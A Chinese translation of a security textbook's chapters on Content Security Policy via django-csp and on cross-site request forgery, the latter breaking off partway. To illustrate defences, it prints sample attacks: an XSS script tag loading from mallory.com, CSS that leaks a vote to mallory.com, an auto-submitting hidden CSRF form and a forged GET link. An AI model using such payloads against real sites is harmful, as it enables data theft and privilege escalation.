第十五章:内容安全策略

本章涵盖

  • 使用 fetch、navigation 和 document 指令编写内容安全策略

  • 使用 django-csp 部署 CSP

  • 使用报告指令检测 CSP 违规

  • 抵抗 XSS 和中间人攻击

服务器和浏览器遵循一个称为内容安全策略CSP)的标准,以可互操作地发送和接收安全策略。策略限制了浏览器对响应的操作,以保护用户和服务器。策略的限制旨在防止或减轻各种 Web 攻击。在本章中,您将学习如何使用 django-csp 轻松应用 CSP。本章涵盖了 CSP 2 级,并以 CSP 3 级的部分结束。

一个策略通过 Content-Security-Policy 响应头从服务器传递到浏览器。策略只适用于它所在的响应。每个策略包含一个或多个指令。例如,假设 bank.alice.com 对每个资源都添加了图 15.1 中显示的 CSP 头部。该头部携带了一个简单的策略,由一个指令组成,阻止浏览器执行 JavaScript。

Python 全栈安全(四)-LMLPHP

图 15.1 一个内容安全策略头部使用简单的策略禁止了 JavaScript 的执行。

这个头部如何抵抗 XSS?假设 Mallory 在 bank.alice.com 发现了一个反射型 XSS 漏洞。她编写了一个恶意脚本将 Bob 的所有资金转移到她的帐户中。Mallory 将这个脚本嵌入到一个 URL 中,并将其通过电子邮件发送给 Bob。Bob 又上当了。他无意中将 Mallory 的脚本发送到 bank.alice.com,然后它被反射回来。幸运的是,Bob 的浏览器受到 Alice 的策略的限制,阻止了脚本的执行。Mallory 的计划失败了,在 Bob 的浏览器的调试控制台中只有一个错误消息。图 15.2 说明了 Mallory 的反射型 XSS 攻击失败了。

Python 全栈安全(四)-LMLPHP

图 15.2 Alice 的网站使用 CSP 阻止 Mallory 再次进行反射型 XSS 攻击。

这次,Alice 仅通过一个非常简单的内容安全策略勉强阻止了 Mallory。在下一节中,您将为自己编写一个更复杂的策略。

15.1 编写内容安全策略

在本节中,您将学习如何使用一些常用指令构建自己的内容安全策略。这些指令遵循一个简单的模式:每个指令由至少一个来源组成。一个来源代表浏览器可以从中检索内容的可接受位置。例如,您在上一节中看到的 CSP 头部将一个 fetch 指令 script-src 与一个来源组合在一起,如图 15.3 所示。

Python 全栈安全(四)-LMLPHP

图 15.3 Alice 的简单内容安全策略的解剖。

为什么使用单引号?

许多来源,如 none,使用单引号。这不是一种约定,而是一种要求。CSP 规范要求在实际的响应头中包含这些字符。

这个策略的范围非常狭窄,只包含一个指令和一个来源。这样简单的策略在现实世界中并不有效。一个典型的策略由多个指令组成,用分号分隔,一个或多个来源,用空格分隔。

浏览器在指令具有多个来源时会做出怎样的反应?每个额外的来源都会扩大攻击面。例如,下一个策略将script-srcnone来源和一个方案来源结合在一起。方案来源通过协议(如 HTTP 或 HTTPS)匹配资源。在这种情况下,协议是 HTTPS(分号后缀是必需的):

Content-Security-Policy: script-src 'none' https:

浏览器处理与任何来源匹配的内容,而不是每个来源。因此,该策略允许浏览器通过 HTTPS 获取任何脚本,尽管有none来源。该策略也无法抵抗以下 XSS 有效载荷:

<script src="https:/./mallory.com/malicious.js"></script>

一个有效的内容安全策略必须在各种攻击形式和功能开发复杂性之间取得平衡。CSP 通过三个主要的指令类别来实现这种平衡:

  • 获取指令

  • 导航指令

  • 文档指令

最常用的指令是获取指令。这个类别是最大的,也可以说是最有用的。

15.1.1 获取指令

获取指令限制浏览器获取内容的方式。这些指令提供了许多避免或减少 XSS 攻击影响的方法。CSP Level 2 支持 11 个获取指令和 9 种来源类型。为了你的利益和我的利益,涵盖所有 99 种组合是没有意义的。此外,一些来源类型只与一些指令相关,因此本节仅涵盖了与最相关来源结合的最有用指令。它还涵盖了一些要避免的组合。

默认-src 指令

每个良好的策略都以default-src指令开头。这个指令很特殊。当浏览器没有收到给定内容类型的显式获取指令时,浏览器会退回到default-src。例如,浏览器在加载脚本之前会查看script-src指令。如果script-src不存在,浏览器会用default-src指令替代它。

default-srcself来源结合是非常推荐的。与none不同,self允许浏览器处理来自特定位置的内容。内容必须来自浏览器获取资源的地方。例如,self允许 Alice 银行的页面处理来自同一主机的 JavaScript。

具体来说,内容必须与资源具有相同的来源。什么是来源?来源由资源 URL 的协议、主机和端口定义。(这个概念不仅适用于 CSP;你将在第十七章再次看到它。)

表 15.1 比较了alice.com/path/的来源与其他六个 URL 的来源。

表 15.1 将来源与alice.com/path/进行比较

以下 CSP 标头代表您内容安全策略的基础。该策略仅允许浏览器处理与资源相同来源的内容。浏览器甚至会拒绝响应主体中的内联脚本和样式表。这不能防止恶意内容被注入页面,但它确实防止页面中的恶意内容被执行:

Content-Security-Policy: default-src 'self'

该策略提供了很多保护,但本身相当严格。大多数程序员希望使用内联 JavaScript 和 CSS 来开发 UI 功能。在下一节中,我将向您展示如何通过内容特定的策略异常在安全性和功能开发之间取得平衡。

script-src 指令

正如其名称所示,script-src指令适用于 JavaScript。这是一个重要的指令,因为 CSP 的主要目标是提供一层防御,防止 XSS。之前你看到 Alice 通过将script-srcnone源结合来抵抗 Mallory。这减轻了所有形式的 XSS,但是过于保守。none源阻止所有 JavaScript 执行,包括内联脚本以及来自响应的相同来源的脚本。如果您的目标是创建一个极其安全但无聊的站点,这就是您的来源。

unsafe-inline来源占据了风险范围的相反端。该来源允许浏览器执行诸如内联<script>标签、javascript: URL 和内联事件处理程序之类的 XSS 向量。正如名称所警告的,unsafe-inline是有风险的,您应该避免使用它。

你还应该避免unsafe-eval来源。该来源允许浏览器从字符串中评估和执行任何 JavaScript 表达式。这意味着以下所有内容都是潜在的攻击向量:

  • eval(string)函数

  • new Function(string)

  • window.setTimeout(string, x)

  • window.setInterval(string, x)

如何在none的无聊和unsafe-inline以及unsafe-eval的风险之间取得平衡?通过nonce(一次性数字)。粗体字体显示的 nonce 来源包含一个唯一的随机数,而不是selfnone这样的静态值。根据定义,该数字对于每个响应都是不同的:

Content-Security-Policy: script-src 'nonce-EKpb5h6TajmKa5pK'

如果浏览器收到该策略,它将执行内联脚本,但只有带有匹配的nonce属性的脚本。例如,该策略将允许浏览器执行以下脚本,因为粗体显示的nonce属性是匹配的:

<script nonce='EKpb5h6TajmKa5pK'>
   /* inline script */
</script>

一个 nonce 来源如何缓解 XSS?假设 Alice 为 bank.alice.com 添加了这一层防御。Mallory 然后发现了另一个 XSS 漏洞,并计划再次向 Bob 的浏览器注入恶意脚本。要成功执行此攻击,Mallory 必须使用 Alice 将要从 Alice 那里收到的相同 nonce 准备脚本。Mallory 事先无法知道 nonce,因为 Alice 的服务器甚至还没有生成它。此外,Mallory 猜对数字的机会几乎为零;在拉斯维加斯赌博会给她比针对 Alice 银行更好的发财机会。

一个 nonce 来源可以缓解 XSS,同时使内联脚本执行。这是最佳选择,既提供了像 none 一样的安全性,又像 unsafe-inline 一样促进了功能开发。

style-src 指令

正如名称所示,style-src 控制浏览器如何处理 CSS。与 JavaScript 一样,CSS 是 Web 开发人员交付功能的标准工具;它也可能被 XSS 攻击利用。

假设 2024 年美国总统选举正在进行中。整个选举只有两个候选人:Bob 和 Eve。有史以来第一次,选民可以在 Charlie 的新网站 ballot.charlie.com 上线上投票。Charlie 的内容安全策略阻止了所有 JavaScript 执行,但未解决 CSS 问题。

Mallory 发现了另一个反射型 XSS 机会。她给 Alice 发送了一个恶意链接。Alice 点击链接并收到了列表 15.1 中显示的 HTML 页面。该页面包含了由 Charlie 撰写的包含两个候选人的下拉列表;它还包含了由 Mallory 植入的样式表。

Mallory 的样式表动态设置了 Alice 所选选项的背景。这个事件触发了一个网络请求来获取背景图像。不幸的是,网络请求还以查询字符串参数的形式向 Mallory 透露了 Alice 的投票情况。Mallory 现在知道了 Alice 投票给了谁。

列表 15.1 Mallory 在 Alice 的浏览器中注入恶意样式表

<html>

    <style>                                                    /* ❶ */
        option[value=bob]:checked {                            /* ❷ */
            background: url(https://mallory.com/?vote=bob);    /* ❸ */
        }
        option[value=eve]:checked {                            /* ❹ */
            background: url(https://mallory.com/?vote=eve);    /* ❺ */
        }
    </style>

    <body>
        ...
        <select id="ballot">
            <option>Cast your vote!</option>
            <option value="bob">Bob</option>                   <!-- ❻ -->
            <option value="eve">Eve</option>                   <!-- ❻ -->
        </select>
        ...
    </body>

</html>

❶ Mallory 注入的样式表

❷ 如果 Alice 为 Bob 投票,则触发

❸ 将 Alice 的选择发送给 Mallory

❹ 如果 Alice 为 Eve 投票

❺ 将 Alice 的选择发送给 Mallory

❻ 两位总统候选人

显然,style-src 指令应该像 script-src 一样受到重视。style-src 指令可以与大多数与 script-src 相同的源结合使用,包括 selfnoneunsafe-inline 和一个 nonce 来源。例如,以下 CSP 标头说明了一个带有 nonce 来源的 style-src 指令,如粗体所示:

Content-Security-Policy: style-src 'nonce-EKpb5h6TajmKa5pK'

此标题允许浏览器应用以下样式表。如粗体所示,nonce 属性值匹配:

<style nonce='EKpb5h6TajmKa5pK'>
   body {
       font-size: 42;
   }
</style>

img-src 指令

img-src 指令确定浏览器如何获取图像。对于从第三方站点(称为 内容交付网络 (CDN))托管图像和其他静态内容的站点,此指令通常很有用。从 CDN 托管静态内容可以减少页面加载时间、降低成本并抵消流量峰值。

以下示例演示了如何与 CDN 集成。此标头结合了一个 img-src 指令和一个主机源。主机源允许浏览器从特定主机或一组主机获取内容:

Content-Security-Policy: img-src https:/./cdn.charlie.com

下面的策略是主机源可以变得多么复杂的一个示例。星号匹配子域和端口。URL 方案和端口号是可选的。主机可以通过名称或 IP 地址指定:

Content-Security-Policy: img-src https:/./*.alice.com:8000
➥                               https:/./bob.com:*
➥                               charlie.com
➥                               http:/./163.172.16.173

许多其他获取指令并不像迄今为止涵盖的那些那么有用。表 15.2 总结了它们。一般来说,我建议将这些指令从 CSP 标头中省略。这样,浏览器会回退到 default-src,隐式地将每个指令与 self 结合起来。当然,在现实世界中,你可能需要根据具体情况放宽一些这些限制。

表 15.2 其他获取指令及其管辖内容

导航和文档指令

导航指令仅有两个。与获取指令不同,当导航指令缺失时,浏览器不会以任何方式回退到 default-src。因此,你的策略应该明确包含这些指令。

form-action 指令控制用户可以提交表单的位置。将此指令与 self 源结合使用是一个合理的默认值。这样可以使你团队中的每个人都能完成他们的工作,同时防止某些类型的基于 HTML 的 XSS 攻击。

frame-ancestors 指令控制用户可以导航的位置。我在第十八章中涵盖了这个指令。

文档指令用于限制文档或 Web worker 的属性。这些指令并不经常使用。表 15.3 列出了所有三个指令及一些安全默认值。

表 15.3 文档指令及其管辖内容

部署内容安全策略非常容易。在下一节中,你将学习如何使用一个轻量级的 Django 扩展包来实现这一点。

15.2 使用 django-csp 部署策略

你可以在几分钟内使用 django-csp 部署内容安全策略。从你的虚拟环境中运行以下命令来安装 django-csp

$ pipenv install django-csp

接下来,打开你的设置文件,并将以下中间件组件添加到 MIDDLEWARECSPMiddleware 负责向响应添加一个 Content-Security-Policy 头。这个组件由许多设置变量配置,每个都以 CSP_ 为前缀:

MIDDLEWARE = [
   ...
   'csp.middleware.CSPMiddleware',
   ...
]

CSP_DEFAULT_SRC 设置指示 django-csp 向每个 Content-Security-Policy 头添加一个 default-src 指令。这个设置期望一个代表一个或多个源的元组或列表。通过在你的 settings 模块中添加以下代码来开始你的策略:

CSP_DEFAULT_SRC = ("'self'", )

CSP_INCLUDE_NONCE_IN 设置定义了一个元组或列表的获取指令。这个集合告诉 django-csp 与哪些内容结合 nonce 来使用。这意味着你可以允许浏览器独立处理内联脚本和内联样式表。将以下代码添加到你的 settings 模块。这允许浏览器处理具有匹配 nonce 属性的脚本和样式表:

CSP_INCLUDE_NONCE_IN = ['script-src', 'style-src', ]

在你的模板中如何获取有效的 nonce?django-csp 为每个请求对象添加了一个 csp_nonce 属性。将以下代码放入任何模板中以使用这个功能:

<script nonce='{{request.csp_nonce}}'>   # ❶
   /* inline script */
</script>

<style nonce='{{request.csp_nonce}}'>    # ❶
   body {
       font-size: 42;
   }
</style>

❶ 在响应中动态嵌入一个 nonce

通过向 CSP 头添加 script-srcstyle-src 指令,浏览器在遇到脚本或样式标签时不再回退到 default-src。因此,你现在必须明确告诉 django-csp 通过 self 源和 nonce 源发送这些指令:

CSP_SCRIPT_SRC = ("'self'", )
CSP_STYLE_SRC = ("'self'", )

接下来,在你的 settings 模块中添加以下代码以适应 CDN:

CSP_IMG_SRC = ("'self'", 'https:/./cdn.charlie.com', )

最后,使用以下配置设置同时导航指令:

CSP_FORM_ACTION = ("'self'", )
CSP_FRAME_ANCESTORS = ("'none'", )

重启你的 Django 项目,并在交互式 Python shell 中运行以下代码。这段代码请求一个资源,并显示其 CSP 头的详细信息。该头部包含了六个指令,以粗体字显示:

>>> import requests
>>> 
>>> url = 'https:/./localhost:8000/template_with_a_nonce/'    # ❶
>>> response = requests.get(url, verify=False)               # ❶
>>> 
>>> header = response.headers['Content-Security-Policy']     # ❷
>>> directives = header.split(';')                           # ❸
>>> for directive in directives:                             # ❸
...     print(directive)                                     # ❸
... 
 default-src 'self'
 script-src 'self' 'nonce-Nry4fgCtYFIoHK9jWY2Uvg=='
 style-src 'self' 'nonce-Nry4fgCtYFIoHK9jWY2Uvg=='
 img-src 'self' https:/./cdn.charlie.com
 form-action 'self'
 frame-ancestors 'none'

❶ 请求一个资源

❷ 以编程方式访问响应头

❸ 显示指令

理想情况下,一个策略应该适用于站点上的每一个资源;但实际上,你可能会遇到一些特例。不幸的是,一些程序员为了适应每一个特例而简单地放松了全局策略。随着时间的推移,一个大型站点的策略在积累了太多豁免情况后失去了意义。避免这种情况的最简单方法是为异常资源定制策略。

使用个性化策略 15.3

django-csp 包具有旨在修改或替换个别视图的 Content-Security-Policy 头的装饰器。这些装饰器旨在支持基于类和基于函数的视图的 CSP 特例。

这是一个特殊情况。假设你想要提供下面列表中显示的网页。这个页面链接到谷歌的一个公共样式表,以粗体字显示在这里。该样式表使用了谷歌的自定义字体。

显示 15.2 网页嵌入了来自谷歌的样式表和字体

<html>
  <head>
    <link href='https://fonts.googleapis.com/css?family=Caveat'    <!--  -->
          rel='stylesheet'>                                        <!-- ❶ -->
    <style nonce="{{request.csp_nonce}}">                          /*   ❷  */
      body {                                                       /*   ❷  */
        font-family: 'Caveat', serif;                              /*   ❷  */
      }                                                            /*   ❷  */
    </style>                                                       <!-- ❷ -->
  </head>
    <body>
      Text displayed in Caveat font
    </body>
</html>

❶ 由谷歌托管的公共样式表

❷ 一个内联样式表

在前一节中定义的全局策略中,禁止浏览器请求 Google 的样式表和字体。现在假设您想要为这两个资源创建一个异常,而不修改全局策略。以下代码演示了如何使用名为 csp_updatedjango-csp 装饰器来适应此场景。此示例将主机源附加到 style-src 指令,并添加了一个 font-src 指令。只有 CspUpdateView 的响应会受到影响;全局策略保持不变:

from csp.decorators import csp_update

decorator = csp_update(                          # ❶
 STYLE_SRC='https:/./fonts.googleapis.com',    # ❶
 FONT_SRC='https:/./fonts.gstatic.com')        # ❶

@method_decorator(decorator, name='dispatch')    # ❷
class CspUpdateView(View):
    def get(self, request):
        ...
        return render(request, 'csp_update.html')

❶ 动态创建装饰器

❷ 对视图应用装饰器

csp_replace 装饰器为单个视图替换了一个指令。以下代码通过将所有 script-src 源替换为 none 来加强策略,完全禁用了 JavaScript 执行。所有其他指令不受影响:

from csp.decorators import csp_replace

decorator = csp_replace(SCRIPT_SRC="'none'")     # ❶

@method_decorator(decorator, name='dispatch')    # ❷
class CspReplaceView(View):
    def get(self, request):
        ...
        return render(request, 'csp_replace.html')

❶ 动态创建装饰器

❷ 对视图应用装饰器

csp 装饰器为单个视图替换了整个策略。以下代码用 default-srcself 结合的简单策略覆盖了全局策略:

from csp.decorators import csp

@method_decorator(csp(DEFAULT_SRC="'self'"), name='dispatch')     # ❶
class CspView(View):
    def get(self, request):
        ...
        return render(request, 'csp.html')

❶ 创建并应用装饰器

在这三个示例中,装饰器的关键字参数接受一个字符串。此参数也可以是一个字符串序列,以适应多个源。

csp_exempt 装饰器省略了单个视图的 CSP 标头。显然,这只应作为最后的手段使用:

from csp.decorators import csp_exempt

@method_decorator(csp_exempt, name='dispatch')     # ❶
class CspExemptView(View):
    def get(self, request):
        ...
        return render(request, 'csp_exempt.html')

❶ 创建并应用装饰器

CSP_EXCLUDE_URL_PREFIXES 设置省略了一组资源的 CSP 标头。此设置的值是 URL 前缀的元组。django-csp 会忽略与元组中任何前缀匹配的请求。显然,如果必须使用此功能,您需要非常小心:

CSP_EXCLUDE_URL_PREFIXES = ('/without_csp/', '/missing_csp/', )

到目前为止,您已经了解了 fetch、document 和 navigation 指令如何限制浏览器对特定类型内容的操作。另一方面,报告指令用于在浏览器和服务器之间创建和管理反馈循环。

15.4 报告 CSP 违规行为

如果您的策略阻止了一次活跃的 XSS 攻击,您显然希望立即知道。CSP 规范通过报告机制实现了这一点。因此,CSP 不仅仅是一种额外的防御层;它还在其他层次(如输出转义)失败时通知您。

CSP 报告归结为几个报告指令和一个附加的响应头。在这里以粗体显示的 report-uri 指令携带一个或多个报告端点 URI。浏览器会通过将 CSP 违规报告发布到每个端点来响应此指令:

Content-Security-Policy: default-src 'self'; report-uri /csp_report/

警告:report-uri 指令已被弃用。此指令正在逐渐被 report-to 指令与 Report-To 响应头组合取代。不幸的是,截至本文撰写时,report-toReport-To 并不被所有浏览器或 django-csp 支持。MDN Web 文档 (mng.bz/K4eO) 维护着关于哪些浏览器支持此功能的最新信息。

CSP_REPORT_URI 设置指示 django-csp 在 CSP 头部中添加一个 report-uri 指令。这个设置的值是一个 URI 的可迭代对象:

CSP_REPORT_URI = ('/csp_report/', )

第三方报告聚合商,如 httpschecker.net 和 report-uri.com,提供商业报告端点。这些供应商能够检测到恶意报告活动并抵御流量峰值。他们还将违规报告转换成有用的图表:

CSP_REPORT_URI = ('https:/./alice.httpschecker.net/report',
                  'https:/./alice.report-uri.com/r/d/csp/enforce')

这是由 Chrome 生成的一个 CSP 违规报告的示例。在这种情况下,由 mallory.com 托管的图像被来自 alice.com 的策略阻止:

{
  "csp-report": {
 "document-uri": "https:/./alice.com/report_example/",
    "violated-directive": "img-src",
    "effective-directive": "img-src",
    "original-policy": "default-src 'self'; report-uri /csp_report/",
    "disposition": "enforce",
 "blocked-uri": "https:/./mallory.com/malicious.svg",
    "status-code": 0,
  }
}

警告 CSP 报告是收集反馈的一个好方法,但是在一个流行页面上发生的单个 CSP 违规可能会大大增加站点流量。请在阅读本书后不要对自己执行 DOS 攻击。

CSP_REPORT_PERCENTAGE 设置用于控制浏览器报告行为的节流。此设置接受介于 0 和 1 之间的浮点数。这个数字代表要接收 report-uri 指令的响应的百分比。例如,将其分配给 0 将从所有响应中省略 report-uri 指令:

CSP_REPORT_PERCENTAGE = 0.42

CSP_REPORT_PERCENTAGE 设置要求你用 RateLimitedCSPMiddleware 替换 CSPMiddleware

MIDDLEWARE = [
    ...
    # 'csp.middleware.CSPMiddleware',                        # ❶
    'csp.contrib.rate_limiting.RateLimitedCSPMiddleware',    # ❷
    ...
]

❶ 移除了 CSPMiddleware

❷ 添加了 RateLimited-CSPMiddleware

在某些情况下,你可能希望部署一个策略而不执行它。例如,假设你正在处理一个旧的站点。你已经定义了一个策略,现在你想估算一下将站点调整到符合规定需要多少工作。为了解决这个问题,你可以使用 Content-Security-Policy-Report-Only 头部而不是 Content-Security-Policy 头部来部署你的策略。

Content-Security-Policy-Report-Only: ... ; report-uri /csp_report/

CSP_REPORT_ONLY 设置告知 django-csp 使用 Content-Security-Policy-Report-Only 头部部署策略,而不是普通的 CSP 头部。浏览器观察策略,如果配置了报告,则报告违规,但不执行策略。Content-Security-Policy-Report-Only 头部没有 report-uri 指令是无用的:

CSP_REPORT_ONLY = True

到目前为止,你已经学到了很多关于 CSP Level 2 (www.w3.org/TR/CSP2/) 的知识。这份文档已经被 W3C 公开认可为一项推荐标准。一项标准必须经受严格的审查才能获得这个地位。接下来的部分涵盖了一些 CSP Level 3 (www.w3.org/TR/CSP3/)。在撰写本文时,CSP Level 3 还处于 W3C 工作草案阶段。这个阶段的文档仍在审查中。

15.5 内容安全策略 Level 3

本节涵盖了 CSP Level 3 的一些比较稳定的特性。这些特性是 CSP 的未来,并且目前被大多数浏览器实现。与之前介绍的特性不同,这些特性解决的是中间人攻击而不是 XSS。

upgrade-insecure-requests 指令指示浏览器将某些 URL 的协议从 HTTP 升级到 HTTPS。这适用于资源的非导航 URL,例如图像、样式表和字体。这也适用于页面相同域的导航 URL,包括超链接和表单提交。浏览器不会为其他域的导航请求升级协议。换句话说,在 alice.com 的页面上,浏览器将升级到 alice.com 的链接但不会升级到 bob.com:

Content-Security-Policy: upgrade-insecure-requests

CSP_UPGRADE_INSECURE_REQUESTS 设置告诉 django-csp 在响应中添加 upgrade-insecure-requests 指令。此设置的默认值为 False

CSP_UPGRADE_INSECURE_REQUESTS = True

或者,您可以完全阻止请求,而不是升级协议。 block-all-mixed-content 指令禁止浏览器从 HTTPS 请求的页面上的 HTTP 获取资源:

Content-Security-Policy: block-all-mixed-content

CSP_BLOCK_ALL_MIXED_CONTENT 设置将 block-all-mixed-content 指令添加到 CSP 响应头中。此设置的默认值为 False:

CSP_BLOCK_ALL_MIXED_CONTENT = True

upgrade-insecure-requests 存在时,浏览器会忽略 block-all-mixed-content;这些指令旨在互斥。因此,你应该配置系统以使用最适合你需求的那一个。如果你正在处理具有大量 HTTP URL 的传统网站,我建议使用 upgrade-insecure-requests。这样可以让你在过渡期间将 URL 迁移到 HTTPS 而不会破坏任何内容。在其他所有情况下,我建议使用 block-all-mixed-content

总结

  • 策略由指令组成;指令由源组成。

  • 每个额外的源都会扩大攻击面。

  • 源由 URL 的协议、主机和端口定义。

  • 一次性源在 noneunsafe-inline 之间取得平衡。

  • CSP 是你可以投资的最廉价的防御层之一。

  • 报告指令会在其他防御层失败时通知您。

第十六章:跨站请求伪造

本章涵盖

  • 管理会话 ID 的使用

  • 遵循状态管理约定

  • 验证Referer

  • 发送、接收和验证 CSRF 令牌

本章研究了另一个大类攻击,即跨站请求伪造CSRF)。CSRF 攻击旨在诱使受害者向易受攻击的网站发送伪造请求。CSRF 抵抗取决于系统是否能区分伪造请求和用户的有意请求。安全系统通过请求头、响应头、cookies 和状态管理约定来实现这一点;深度防御并非可选。

16.1 什么是请求伪造?

假设 Alice 部署了 admin.alice.com,作为她在线银行的管理对应物。像其他管理系统一样,admin.alice.com 允许像 Alice 这样的管理员管理其他用户的组成员资格。例如,Alice 可以通过提交其用户名和组名到/group-membership/来将某人添加到一个组中。

有一天,Alice 收到了一条来自 Mallory 的文本消息,Mallory 是一个恶意的银行员工。这条短信包含一个链接到 Mallory 的捕食性网站 win-iphone.mallory.com。Alice 接了这个钓鱼。她导航到了 Mallory 的网站,在那里她的浏览器呈现了以下 HTML 页面。Alice 不知情,这个页面包含一个带有两个隐藏输入字段的表单。Mallory 已经预先填充了这些字段,分别是她的用户名和一个特权组的名称。

此攻击的剩余部分不需要 Alice 进行进一步操作。一个加粗的 body 标签的事件处理程序会在页面加载后自动提交表单。当前已经登录到 admin.alice.com 的 Alice 无意间将 Mallory 添加到管理员组中。作为管理员,Mallory 现在可以自由滥用她的新权限:

<html>
  <body onload="document.forms[0].submit()">                      <!-- ❶ -->
    <form method="POST"
          action="https:/./admin.alice.com/group-membership/">     <!-- ❷ -->
      <input type="hidden" name="username" value="mallory"/>      <!-- ❸ -->
      <input type="hidden" name="group" value="administrator"/>   <!-- ❸ -->
    </form>
  </body>
</html>

❶ 此事件处理程序在页面加载后触发。

❷ 伪造请求的 URL

❸ 预填充的隐藏输入字段

在这个例子中,Mallory 实际上执行了 CSRF;她欺骗 Alice 从另一个站点发送伪造请求。图 16.1 说明了这种攻击。

Python 全栈安全(四)-LMLPHP

图 16.1 Mallory 使用 CSRF 攻击提升她的权限。

这次,Alice 被欺骗升级了 Mallory 的权限。在现实世界中,受害者可能会被欺骗执行易受攻击的站点允许他们执行的任何操作。这包括转账、购买商品或修改自己的帐户设置。通常,受害者甚至不知道他们做了什么。

CSRF 攻击不仅限于不可信的网站。伪造请求也可以通过电子邮件或消息客户端发送。

无论攻击者的动机或技术如何,CSRF 攻击成功是因为易受攻击的系统无法区分伪造请求和有意请求。剩余部分将检查不同的方法来区分这种区别。

16.2 会话 ID 管理

成功的伪造请求必须携带经过身份验证用户的有效会话 ID cookie。如果会话 ID 不是必需的,攻击者将直接发送请求而不是试图诱骗受害者。

会话 ID 标识用户,但无法确定他们的意图。因此,当不必要时,禁止浏览器发送会话 ID cookie 非常重要。网站通过向Set-Cookie头部添加一个名为SameSite的指令来实现这一点(您在第七章学习过这个头部)。

SameSite指令告知浏览器将 cookie 限制在“同一站点”的请求中。例如,从 https://admin.alice.com/profile/ 提交表单到 https://admin.alice.com/group-membership/ 是同站点请求。表 16.1 列出了几个更多的同站点请求示例。在每种情况下,请求的源和目的地具有相同的可注册域,bob.com。

表 16.1 同站点请求示例

跨站点请求是除同站点请求之外的任何请求。例如,从 win-iphone.mallory.com 提交表单或导航到 admin.alice.com 都是跨站点请求。

注意跨站点请求不要与跨源请求混淆。(在前一章中,您了解到一个源由 URL 的三个部分定义:协议、主机和端口。)例如,从 https:/./social.bob.com 到 https:/./www.bob.com 的请求是跨源的,但不是跨站点的。

SameSite指令有三个可能的值:NoneStrictLax。这里以粗体显示每个示例:

Set-Cookie: sessionid=<session-id-value>; SameSite=None; ...
Set-Cookie: sessionid=<session-id-value>; SameSite=Strict; ...
Set-Cookie: sessionid=<session-id-value>; SameSite=Lax; ...

SameSite指令为None时,浏览器将无条件地将会话 ID cookie 回送到它来自的服务器,即使是跨站点请求也是如此。这个选项不提供安全性;它使所有形式的 CSRF 都成为可能。

SameSite指令为Strict时,浏览器只会为同站点请求发送会话 ID cookie。例如,假设 admin.alice.com 在设置 Alice 的会话 ID cookie 时使用了Strict。这不会阻止 Alice 访问 win-iphone.mallory.com,但会排除 Alice 的会话 ID 在伪造请求中。没有会话 ID,请求将不会与用户关联,导致网站拒绝它。

为什么不是每个网站都使用Strict设置会话 ID cookie?Strict选项在保障安全性的同时会牺牲功能性。没有会话 ID cookie,服务器无法识别有意的跨站点请求来源。因此,用户每次从外部来源返回网站时都必须进行身份验证。这对于社交媒体网站来说不太合适,但对于在线银行系统来说是理想的。

注意,NoneStrict代表风险范围的两个相反的极端。None选项不提供安全性;Strict选项提供最高的安全性。

NoneStrict之间存在一个合理的平衡点。当SameSite指令为Lax时,浏览器会为所有同站点请求以及使用安全的 HTTP 方法(如 GET)的跨站点顶级导航请求发送会话 ID cookie。换句话说,用户每次通过点击电子邮件中的链接返回网站时都不必重新登录。会话 ID cookie 将在所有其他跨站点请求中被省略,就好像SameSite指令是Strict一样。这个选项对于在线银行系统来说不合适,但对于社交媒体网站来说是合适的。

SESSION_COOKIE_SAMESITE设置配置了会话 ID Set-Cookie 头的SameSite指令。Django 3.1 接受此设置的以下四个值:

  • "None"

  • "Strict"

  • "Lax"

  • False

前三个选项很简单。"None""Strict""Lax"选项分别配置 Django 发送具有NoneStrictLaxSameSite指令的会话 ID。"Lax"是默认值。

警告:我强烈反对将SESSION_COOKIE_SAMESITE设置为False,特别是如果您支持较旧的浏览器。这个选项会使您的网站安全性降低,互操作性降低。

False分配给SESSION_COOKIE_SAMESITE将完全省略SameSite指令。当SameSite指令不存在时,浏览器将回退到其默认行为。这将导致网站因以下两个原因而行为不一致:

  • 默认的SameSite行为因浏览器而异。

  • 在撰写本文时,浏览器正在从默认的None迁移到Lax

浏览器最初将None用作默认的SameSite值。从 Chrome 开始,它们中的大多数都已切换到Lax以确保安全性。

浏览器、Django 和许多其他 Web 框架默认为Lax,因为这个选项在安全性和功能性之间提供了一个实际的权衡。例如,Lax在表单驱动的 POST 请求中排除了会话 ID,但在导航 GET 请求中包含了它。这只有在您的 GET 请求处理程序遵循状态管理惯例时才有效。

16.3 状态管理惯例

一个常见的误解是 GET 请求免疫 CSRF。实际上,CSRF 免疫实际上是请求方法和请求处理程序实现的结果。具体来说,安全的 HTTP 方法不应更改服务器状态。HTTP 规范(tools.ietf.org/html/rfc7231)识别了四种安全方法:

根据本规范定义的请求方法中,GET、HEAD、OPTIONS 和 TRACE 方法被定义为安全的。

所有状态更改通常都保留给不安全的 HTTP 方法,如 POST、PUT、PATCH 和 DELETE。相反,安全方法意味着只读:

如果定义的语义本质上是只读的,则请求方法被认为是“安全的”;即,客户端不会请求,并且不期望对原始服务器应用安全方法以更改目标资源的状态。

不幸的是,安全方法经常与幂等方法混淆。一个幂等方法是可以安全重复的,但不一定是安全的。来自 HTTP 规范

如果使用该方法进行多个相同请求,其对服务器的预期效果与对单个此类请求的效果相同,则请求方法被认为是“幂等的”。根据本规范定义的请求方法中,PUT、DELETE 和安全请求方法是幂等的。

所有安全方法都是幂等的,但 PUT 和 DELETE 都是幂等且不安全的。因此,假设幂等方法免受 CSRF 的影响是错误的,即使实现正确也是如此。图 16.2 说明了安全方法和幂等方法之间的区别。

Python 全栈安全(四)-LMLPHP

图 16.2 安全方法和幂等方法之间的区别

不正确的状态管理不仅仅是丑陋的;它实际上会使您的站点容易受到攻击。为什么?除了程序员和安全标准外,这些约定还得到了浏览器供应商的认可。例如,假设 admin.alice.com 为 Alice 的会话 ID 设置了SameSiteLax。这使 Mallory 的隐藏表单失效,因此她将其替换为以下链接。Alice 点击链接,将带有她的会话 ID cookie 的 GET 请求发送到 admin.alice.com。如果/group-membership/处理程序接受 GET 请求,Mallory 仍然获胜:

<a href="https://admin.alice.com/group-membership/?   # ❶
➥ username=mallory&                                  # ❷
➥ group=administrator">                              # ❷
  Win an iPhone!
</a>

❶ 伪造请求的 URL

❷ 请求参数

这些约定甚至由 Web 框架如 Django 加强。例如,默认情况下,每个 Django 项目都配备了一些 CSRF 检查。这些检查,我将在后面的章节中讨论,故意针对安全方法暂停。再次强调,正确的状态管理不仅仅是一种外观设计特征;这是安全性问题。下一节将探讨鼓励正确状态管理的几种方法。

16.3.1 HTTP 方法验证

